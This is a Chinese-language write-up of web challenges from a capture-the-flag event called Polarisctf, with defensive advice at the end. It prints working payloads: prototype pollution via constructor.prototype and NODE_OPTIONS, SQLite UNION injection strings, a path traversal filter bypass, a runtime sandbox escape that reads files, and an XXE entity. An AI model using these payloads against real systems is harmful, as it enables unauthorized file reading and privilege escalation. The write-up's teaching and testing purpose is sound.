Polarisctf-web-wp(部分)
字数 1928
更新时间 2026-04-02 14:02:41
JavaScript与Python原型链污染、JWT、SQL注入、沙箱绕过与文件读取漏洞综合教学
1. 原型链污染攻击详解
1.1 JavaScript原型链污染
基本概念
原型链污染是一种针对JavaScript对象继承机制的漏洞,攻击者通过污染对象的原型(prototype),影响所有基于该原型创建的对象。
常见污染点
__proto__属性:直接访问原型链constructor.prototype:通过构造函数访问原型- 其他原型访问方式
示例漏洞分析
function merge(target, source, res) {
for (let key in source) {
if (key === '__proto__') { // 仅过滤了__proto__
if (res) {
res.send('get out!');
return;
}
continue;
}
if (source[key] instanceof Object && key in target) {
merge(target[key], source[key], res);
} else {
target[key] = source[key];
}
}
}
绕过__proto__过滤的方法
当__proto__被过滤时,可使用constructor.prototype进行绕过:
// 污染payload
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag" // 注入环境变量
}
}
}
环境变量注入利用
在Node.js环境中,通过污染NODE_OPTIONS环境变量实现代码执行:
-r参数:在启动时预加载指定模块- 利用方式:
NODE_OPTIONS="-r /flag"
1.2 Python原型链污染
Flask框架中的污染点
在Python/Flask应用中,可通过污染应用配置读取任意文件:
@app.route('/read')
def read():
return open(instance.config.filename).read() # config.filename可控
利用payload
{"config": {"filename": "/flag"}}
2. JWT(JSON Web Token)安全漏洞
2.1 JWT结构分析
JWT由三部分组成:
- Header(头部)
- Payload(负载)
- Signature(签名)
2.2 密钥爆破攻击
当JWT使用弱密钥时,可通过暴力破解获取密钥:
攻击步骤
- 捕获包含JWT的请求
- 使用常见弱密钥字典进行爆破
- 示例弱密钥:
cdef、secret、key等
工具使用
- jwt.io:在线解码和构造JWT
- hashcat:离线爆破工具
- jwt-tool:专用JWT测试工具
2.3 权限提升
爆破获取密钥后,可伪造高权限token:
- 修改payload中的
role字段为admin - 使用获取的密钥重新签名
- 使用伪造的token访问管理员功能
3. SQL注入漏洞深入分析
3.1 SQLite数据库注入
信息收集payload
# 获取所有表名
-1' UNION SELECT 1, group_concat(tbl_name), 3 FROM sqlite_master WHERE type='table'--
# 获取管理员用户信息
-1' UNION SELECT uid, username, role FROM users WHERE role='admin'--
SQLite特殊函数
group_concat():将多行结果合并为单个字符串sqlite_master:系统表,包含所有表结构信息
3.2 二次注入与文件读取
获取管理员权限后,可能存在文件读取漏洞:
路径遍历绕过
使用双写绕过过滤:
URL/api/admin?action=backup&file=..././..././..././flag
../被过滤时,使用..././绕过- 原理:过滤函数可能只替换一次
../
4. JavaScript沙箱绕过技术
4.1 BunEdge运行时环境分析
BunEdge是一个JavaScript运行时,通过C++扩展暴露系统调用。
运行时对象探测
// 探测__runtime对象结构
Object.getOwnPropertyNames(__runtime)
// 可能返回:['_0x72656164', '_0x6c697374', ...]
绕过策略
- 类型混淆:利用JavaScript动态类型特性
- 内部函数调用:直接调用底层C++暴露的函数
- 字节数组绕过:避免字符串检测
4.2 文件读取payload
export default {
async fetch(req) {
const symbols = __runtime._internal.lib.symbols;
const readFn = symbols._0x72656164; // 对应"read"函数
// 使用Uint8Array绕过字符串检测
const path = new TextEncoder().encode("/flag");
const flag = readFn(path);
return new Response(flag);
}
}
5. Python沙箱绕过与路径穿越
5.1 沙箱隔离机制
出题人使用proot创建虚拟环境:
proot:用户空间中的chroot替代品- 限制:
run.py运行在虚拟环境中 - 突破点:
launcher.py运行在宿主机
5.2 路径穿越漏洞
# 漏洞代码
launcher_path = os.path.join(BASE_DIR, 'launcher.py')
# 通过filename参数控制target_file
target_file = os.path.join('/app/uploads', filename)
# 利用子进程执行
proc = subprocess.run(
[sys.executable, launcher_path, target_file],
capture_output=True,
text=True,
timeout=5,
cwd=BASE_DIR
)
利用步骤
- 上传恶意Python文件
- 通过路径穿越执行宿主机文件
- 查找解释器路径:
/usr/local/lib/python3.10/site-packages - 读取flag文件
6. XXE(XML外部实体注入)
6.1 基本payload构造
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://127.0.0.1/flag.php">
]>
<root>
<value>&xxe;</value>
</root>
6.2 利用场景
- 留言板系统
- XML数据解析处
- 文件上传功能(如DOCX、XLSX)
7. 自动化工具辅助测试
7.1 目录扫描
- 工具:dirsearch、gobuster、ffuf
- 使用场景:发现隐藏目录和文件
7.2 SQL注入检测
- 工具:sqlmap
- 关键参数:
--dbms=sqlite指定数据库类型
8. 防御建议
8.1 原型链污染防御
- 使用
Object.create(null)创建无原型对象 - 避免递归合并不可信对象
- 使用
Object.freeze()冻结原型
8.2 JWT安全
- 使用强密钥(32字节以上)
- 定期轮换密钥
- 验证token签名和过期时间
8.3 SQL注入防御
- 使用参数化查询
- 最小权限原则
- 输入验证和过滤
8.4 文件操作安全
- 规范化文件路径
- 白名单验证文件类型
- 避免用户控制文件路径
8.5 XXE防御
- 禁用外部实体解析
- 使用JSON替代XML
- 输入验证和过滤
9. 总结
本文涵盖了多种Web安全漏洞的利用技术和防御方法。在实际测试中,需要根据具体场景选择合适的攻击向量,并综合运用多种技术。安全测试应遵循合法授权原则,仅在授权范围内进行测试。
相似文章
相似文章